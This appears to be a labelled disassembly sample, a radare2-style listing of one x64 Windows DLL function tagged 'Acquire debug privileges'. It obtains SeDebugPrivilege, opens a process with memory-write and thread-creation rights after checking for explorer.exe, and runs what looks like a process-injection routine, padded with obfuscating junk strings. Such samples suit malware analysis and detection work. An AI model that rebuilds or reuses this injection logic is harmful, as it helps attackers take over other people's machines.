Function at 0x1800085e0
Capabilities:
Acquire debug privileges

Disassembly:
push rsi
push rdi
sub rsp, 0x478
mov rax, qword [0x180018040]
xor rax, rsp
mov qword [rsp + 0x460], rax
call fcn.1800078e0
mov qword [rsp + 0x130], 0
mov eax, 4
mov word [rsp + 0xb0], ax
mov byte [rsp + 0x20], 1
lea rax, [rsp + 0x108]
lea rcx, str.sGpdC
mov rdi, rax
mov rsi, rcx
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
xor eax, eax
mov word [rsp + 0x40], ax
mov byte [rsp + 0x21], 0x75
mov qword [rsp + 0x110], 0
mov qword [rsp + 0xc0], 0
lea rax, [rsp + 0x2f0]
lea rcx, str.YwGhkbcWvtOfVKIJiomUnqNrypgxPZlEDCQjAseSHTMd
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2d
rep movsb byte [rdi], byte [rsi]
mov eax, 1
mov word [rsp + 0x44], ax
mov qword [rsp + 0x140], 0
mov byte [rsp + 0x22], 0x59
mov qword [rsp + 0x420], 0
mov qword [rsp + 0x148], 0
mov qword [rsp + 0x150], 3
mov qword [rsp + 0x428], 0
mov byte [rsp + 0x23], 1
mov qword [rsp + 0x158], 0
mov dword [rsp + 0xfc], 5
mov byte [rsp + 0x24], 1
mov eax, 3
mov word [rsp + 0x48], ax
mov eax, 6
mov word [rsp + 0x4c], ax
mov byte [rsp + 0x25], 0x44
lea rax, [rsp + 0x218]
lea rcx, str.dtThkDnHuYFbm
mov rdi, rax
mov rsi, rcx
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0xc8], 0
lea rax, [rsp + 0x320]
lea rcx, str.OaszrCmVBLuYxIyleJnScRHDQbAXGPFpgEtKMTZkoNUfv
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2e
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0xcc], 8
mov qword [rsp + 0x160], 2
mov byte [rsp + 0x26], 0x4c
mov eax, 8
mov word [rsp + 0x50], ax
mov dword [rsp + 0xd0], 0
mov byte [rsp + 0x27], 1
mov qword [rsp + 0x138], 9
mov dword [rsp + 0xd4], 1
mov eax, 6
mov word [rsp + 0x54], ax
mov qword [rsp + 0x180], 0
xor eax, eax
mov word [rsp + 0x58], ax
mov dword [rsp + 0x418], 0
lea rax, [rsp + 0x448]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rax, qword [str.log.log]
mov qword [rsp + 0x458], rax
lea rax, [rsp + 0x288]
lea rcx, str.BQvGSfZgJECrIUsNXcRunAPljbdqyi
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1f
rep movsb byte [rdi], byte [rsi]
mov eax, 5
mov word [rsp + 0x5c], ax
mov byte [rsp + 0x28], 0x4c
lea rax, str.explorer.exe
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x268]
lea rcx, str.ImXClWiAfLMheBRxYgOwvonSTJujZ
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1e
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0xd8], 5
mov byte [rsp + 0x29], 1
xor eax, eax
mov word [rsp + 0x60], ax
mov rdx, qword [rsp + 0x38]
lea rcx, [0x1800136b0]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x18000885d
jmp 0x18000889e
mov rcx, qword [rsp + 0x38]
call fcn.180005d80
mov dword [rsp + 0x418], eax
lea rax, [rsp + 0x238]
lea rcx, str.INWVXEgBuRmcFLCvshneA
mov rdi, rax
mov rsi, rcx
mov ecx, 0x16
rep movsb byte [rdi], byte [rsi]
mov eax, 7
mov word [rsp + 0x64], ax
mov eax, 1
mov word [rsp + 0x68], ax
lea rdx, [0x1800136d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18000cf60
mov edx, dword [rsp + 0x418]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18000d2e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x18
lea rcx, [rsp + 0x430]
call fcn.180001e00
lea rdx, [rsp + 0x458]
lea rcx, [rsp + 0x430]
call fcn.180006bc0
nop
mov qword [rsp + 0x188], 1
xor eax, eax
mov word [rsp + 0x6c], ax
lea rcx, [rsp + 0x430]
call fcn.18000b1f0
cmp rax, 0xa
jae 0x180008994
mov dword [rsp + 0xb4], 0xffffffff
lea rcx, [rsp + 0x430]
call fcn.18000b2e0
mov eax, dword [rsp + 0xb4]
jmp 0x180008f2e
lea rcx, [rsp + 0x428]
call fcn.1800062f0
test eax, eax
je 0x180008b69
lea rdx, str.xcoHMfglhbDuKNRFpPCLtwZO
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18000cf60
lea rdx, [0x18000d2e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 3
mov word [rsp + 0x78], ax
lea rax, [rsp + 0x3e0]
lea rcx, str.FgvyNPWJolZOUKdGMTBYacVzLtenhrIRjiwbfSQqupmXAxCsH
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x448], 1
mov dword [rsp + 0xe0], 7
mov byte [rsp + 0x2c], 0x75
mov eax, 8
mov word [rsp + 0x7c], ax
mov qword [rsp + 0x198], 0
lea rax, [rsp + 0x3b0]
lea rcx, str.kutAmqXKOavlJUzTnYIWdPxfCVHSZFcrGMBRDpsyhiELjw
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2f
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x2d], 1
mov qword [rsp + 0x1a0], 0
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x454], 2
lea rax, [rsp + 0x2c8]
lea rcx, str.kWMCFjUnBSLdovwDXRYeQVOTbhJqtlsmGI
mov rdi, rax
mov rsi, rcx
mov ecx, 0x23
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0xe4], 3
mov qword [rsp + 0x1a8], 7
mov eax, 0xc
imul rax, rax, 0
lea rax, [rsp + rax + 0x44c]
mov r8, rax
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x180008ae1
lea rdx, str.zUlgZmFVeNfOjqLXHY
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18000cf60
lea rdx, [0x18000d2e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 9
mov word [rsp + 0x80], ax
mov qword [rsp + 0x1b0], 5
mov eax, 4
mov word [rsp + 0x84], ax
lea rax, [rsp + 0x170]
lea rcx, [rsp + 0x448]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x170]
mov rcx, qword [rsp + 0x428]
call fcn.180006730
mov byte [rsp + 0x2e], 1
mov byte [rsp + 0x2f], 0x6c
lea rcx, [rsp + 0x428]
call fcn.180005a60
mov qword [rsp + 0x1b8], 0
mov eax, 1
mov word [rsp + 0x88], ax
mov rdx, qword [rsp + 0x38]
lea rcx, [0x1800137d4]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x180008beb
mov qword [rsp + 0x420], 0xffffffffffffffff
mov eax, 2
mov word [rsp + 0x8c], ax
lea rax, [rsp + 0x250]
lea rcx, str.SZUEaqxFMGPDAfgYuOKjIt
mov rdi, rax
mov rsi, rcx
mov ecx, 0x17
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x30], 0x70
mov eax, 3
mov word [rsp + 0x90], ax
mov qword [rsp + 0x1c0], 0
mov qword [rsp + 0x1c8], 2
mov dword [rsp + 0xe8], 6
jmp 0x180008c17
lea r8, [rsp + 0x418]
mov edx, 0x43a
lea rcx, [rsp + 0x420]
call fcn.180004880
mov eax, 6
mov word [rsp + 0x94], ax
mov byte [rsp + 0x31], 0x66
cmp qword [rsp + 0x420], 0
jne 0x180008cff
lea rdx, str.TezMdWsPx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18000cf60
lea rdx, [0x18000d2e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xec], 1
lea rax, [rsp + 0x350]
lea rcx, str.WVXiovmAYxBLszaQyJTHfltjPpuMnIUeFdERGcNSZgKDb
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2e
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x32], 0x75
mov eax, 5
mov word [rsp + 0x98], ax
mov qword [rsp + 0x1d0], 0
mov qword [rsp + 0x1d8], 3
mov dword [rsp + 0xb8], 0xffffffff
lea rcx, [rsp + 0x430]
call fcn.18000b2e0
mov eax, dword [rsp + 0xb8]
jmp 0x180008f2e
lea rcx, [rsp + 0x430]
call fcn.18000b1f0
mov qword [rsp + 0x100], rax
lea rcx, [rsp + 0x430]
call fcn.18000b2c0
xor r9d, r9d
mov rcx, qword [rsp + 0x100]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rsp + 0x420]
call fcn.1800098d0
mov qword [rsp + 0xc0], rax
cmp qword [rsp + 0xc0], 0
jne 0x180008dfb
lea rdx, str.YLUmP
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18000cf60
lea rdx, [0x18000d2e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xbc], 0xffffffff
lea rcx, [rsp + 0x430]
call fcn.18000b2e0
mov eax, dword [rsp + 0xbc]
jmp 0x180008f2e
lea rdx, str.uwvTzhoaPDCfHNYGcyrXmlUAtbJdZpOVQLFqg
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18000cf60
lea rdx, [rsp + 0x458]
mov rcx, rax
call fcn.18000cf60
lea rdx, str.lCNtDJGZYBnTeUSMjamKWHgxPQLrVcqzIoXFwpfksibhA
mov rcx, rax
call fcn.18000cf60
mov edx, dword [rsp + 0x418]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18000d2e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rsp + 0x38]
lea rcx, [0x1800138c0]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x180008ea1
mov edx, 0xffffffff
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov byte [rsp + 0x34], 0x47
mov dword [rsp + 0xf4], 7
mov qword [rsp + 0x120], 0
mov eax, 5
mov word [rsp + 0xa8], ax
jmp 0x180008ed8
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xf8], 2
lea rax, [rsp + 0x228]
lea rcx, str.xREbuNzahViwg
mov rdi, rax
mov rsi, rcx
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x35], 0x58
call fcn.180004820
nop
lea rcx, [rsp + 0x430]
call fcn.18000b2e0
xor eax, eax
test eax, eax
jne 0x180008845
xor eax, eax
jmp 0x180008f2e
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.18000f440
add rsp, 0x478
pop rdi
pop rsi
ret